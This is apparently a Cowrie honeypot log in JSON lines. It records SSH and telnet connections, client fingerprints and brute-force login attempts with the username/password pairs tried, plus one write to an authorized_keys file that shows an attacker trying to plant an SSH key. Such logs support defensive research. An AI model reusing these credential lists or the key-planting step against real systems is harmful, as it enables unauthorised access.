{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.453238Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.457227Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":43872,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a689cd93576","protocol":"ssh","message":"New connection: 103.143.231.102:43872 (10.17.0.5:22) [session: 2a689cd93576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.524035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.528773Z","src_ip":"103.143.231.102","session":"2a689cd93576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.600704Z","src_ip":"103.143.231.102","session":"2a689cd93576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.585209608078,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.674502Z","src_ip":"104.245.105.2","session":"58365df17dbe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.924895Z","src_ip":"103.143.231.102","session":"2a689cd93576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.001606Z","src_ip":"103.143.231.102","session":"2a689cd93576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51356,"dst_ip":"159.203.135.109","dst_port":22,"session":"520b2b5dfa96","protocol":"ssh","message":"New connection: 45.156.87.254:51356 (159.203.135.109:22) [session: 520b2b5dfa96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.022880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.027750Z","src_ip":"45.156.87.254","session":"520b2b5dfa96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":44368,"dst_ip":"10.17.0.5","dst_port":22,"session":"55930b0bb422","protocol":"ssh","message":"New connection: 103.143.231.102:44368 (10.17.0.5:22) [session: 55930b0bb422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.067866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.074994Z","src_ip":"103.143.231.102","session":"55930b0bb422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.113200Z","src_ip":"45.156.87.254","session":"520b2b5dfa96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.145874Z","src_ip":"103.143.231.102","session":"55930b0bb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.368498Z","src_ip":"45.156.87.254","session":"520b2b5dfa96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.462226Z","src_ip":"103.143.231.102","session":"55930b0bb422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.541821Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:36.547106Z","src_ip":"103.143.231.102","session":"55930b0bb422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:37.453807Z","src_ip":"45.156.87.254","session":"520b2b5dfa96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56262,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae4e45c7e8b","protocol":"ssh","message":"New connection: 45.156.87.254:56262 (159.203.135.109:22) [session: 5ae4e45c7e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:41.135714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:41.150326Z","src_ip":"45.156.87.254","session":"5ae4e45c7e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:41.239529Z","src_ip":"45.156.87.254","session":"5ae4e45c7e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:41.492790Z","src_ip":"45.156.87.254","session":"5ae4e45c7e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:42.691429Z","src_ip":"45.156.87.254","session":"5ae4e45c7e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56276,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ebd5637c095","protocol":"ssh","message":"New connection: 45.156.87.254:56276 (159.203.135.109:22) [session: 6ebd5637c095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:45.914734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:45.920253Z","src_ip":"45.156.87.254","session":"6ebd5637c095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:46.004327Z","src_ip":"45.156.87.254","session":"6ebd5637c095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:46.265755Z","src_ip":"45.156.87.254","session":"6ebd5637c095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.401783Z","src_ip":"45.156.87.254","session":"6ebd5637c095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33880,"dst_ip":"10.17.0.5","dst_port":22,"session":"906f35cf4e22","protocol":"ssh","message":"New connection: 45.144.233.139:33880 (10.17.0.5:22) [session: 906f35cf4e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.419083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.428291Z","src_ip":"45.144.233.139","session":"906f35cf4e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.515736Z","src_ip":"45.144.233.139","session":"906f35cf4e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"password","message":"login attempt [git/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.895067Z","src_ip":"45.144.233.139","session":"906f35cf4e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"12398947eae4","protocol":"telnet","message":"New connection: 104.245.105.2:59106 (10.17.0.5:23) [session: 12398947eae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:47.988667Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:48.985959Z","src_ip":"45.144.233.139","session":"906f35cf4e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44960,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e065aefb6af","protocol":"ssh","message":"New connection: 186.30.115.187:44960 (10.17.0.5:22) [session: 8e065aefb6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:49.859674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:49.864428Z","src_ip":"186.30.115.187","session":"8e065aefb6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:49.955313Z","src_ip":"186.30.115.187","session":"8e065aefb6af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1010","message":"login attempt [ubuntu/1010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:50.356606Z","src_ip":"186.30.115.187","session":"8e065aefb6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40692,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d31c2d0584","protocol":"ssh","message":"New connection: 45.156.87.254:40692 (159.203.135.109:22) [session: f7d31c2d0584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:50.879702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:50.887272Z","src_ip":"45.156.87.254","session":"f7d31c2d0584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:50.972743Z","src_ip":"45.156.87.254","session":"f7d31c2d0584","protocol":"ssh"}
